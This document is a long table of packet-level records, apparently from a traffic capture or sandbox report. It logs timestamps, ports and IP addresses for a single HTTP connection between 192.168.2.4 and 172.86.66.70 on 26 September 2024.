Sep 26, 2024 12:12:29.669445038 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669486046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669497967 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.669538975 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.669995070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670011997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670041084 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670075893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670088053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670124054 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670169115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670178890 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670190096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670201063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670217991 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670238018 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670312881 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670324087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670341969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670352936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670361042 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670378923 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.670974016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670984983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.670994997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671029091 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.671078920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671091080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671103001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671128035 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.671236038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671246052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671257973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671262980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671272993 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671283960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671287060 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.671314955 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.671957016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671967983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.671978951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.672005892 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.672022104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.672034025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.672038078 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.672048092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.672070026 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.672122002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.672169924 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761300087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761327982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761338949 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761353016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761395931 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761405945 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761450052 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761456013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761468887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761481047 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761498928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761518002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761603117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761615038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761626959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761639118 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761650085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761660099 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761693001 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.761895895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761986971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.761998892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762029886 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762038946 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762051105 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762053013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762094021 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762229919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762284994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762296915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762326002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762351990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762362957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762373924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762394905 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762430906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762609959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762629032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762639046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762666941 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762753963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762765884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762775898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762788057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762809038 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762916088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762927055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762938023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762948990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762959957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762964964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.762973070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762984037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.762996912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763127089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763153076 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763551950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763616085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763627052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763664007 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763698101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763712883 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763725042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763736010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763760090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763789892 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763889074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763899088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763914108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763926029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763937950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.763937950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.763973951 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764050007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764061928 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764074087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764113903 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764533997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764581919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764592886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764630079 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764662981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764673948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764686108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764832973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764844894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764856100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764863014 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764867067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764879942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764880896 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764893055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.764918089 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764944077 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.764967918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765016079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765028000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765182972 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.765465021 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765515089 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.765516043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765530109 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765573025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.765635014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765645981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765662909 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765675068 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.765678883 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.765718937 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.853758097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853769064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853775978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853805065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853816032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853827000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853837967 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853868008 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.853914022 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.853949070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.853988886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854001999 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854011059 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854038000 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.854172945 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854204893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854214907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854226112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.854262114 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.854301929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854312897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854322910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854351997 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.854433060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854444027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854455948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854521990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.854532003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854542017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854552984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.854581118 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.871678114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.871752977 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.871845007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.871855974 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.871944904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.871990919 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872025967 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872037888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872049093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872059107 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872070074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872071028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872103930 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872123957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872152090 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872163057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872174978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872188091 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872199059 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872234106 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872380018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872391939 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872402906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872414112 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872425079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872430086 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872450113 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872539043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872550964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872561932 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872571945 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872581959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872586966 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872626066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872629881 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872684002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872694969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872731924 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872817993 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872828960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872839928 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872850895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872864962 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872890949 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.872956038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872966051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872977018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.872988939 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873003006 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873025894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873116016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873126984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873138905 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873148918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873162985 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873167038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873178959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873187065 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873213053 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873238087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873290062 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873457909 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873469114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873481035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873493910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873505116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873506069 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873518944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873538017 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873558998 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873603106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873613119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873631001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873647928 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873647928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873661041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873673916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873683929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873694897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873698950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873707056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873732090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873930931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873941898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.873979092 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.873984098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.874030113 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877068996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877079964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877091885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877101898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877120972 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877154112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877161980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877172947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877213955 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877250910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877263069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877273083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877285004 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877296925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877327919 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877413034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877424955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877434969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877451897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877460957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877465010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877477884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877489090 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877500057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877507925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877545118 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877681017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877701044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877710104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877753973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.877753973 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877793074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.877820969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.926369905 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:29.943123102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.943135977 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.943141937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:29.943300962 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.014849901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015017033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015028000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015033960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015043020 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015049934 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015055895 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015161037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015172005 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015182972 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015193939 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015204906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015285969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015296936 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015296936 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015296936 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015302896 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015312910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015366077 CEST	49755	80	192.168.2.4	172.86.66.70
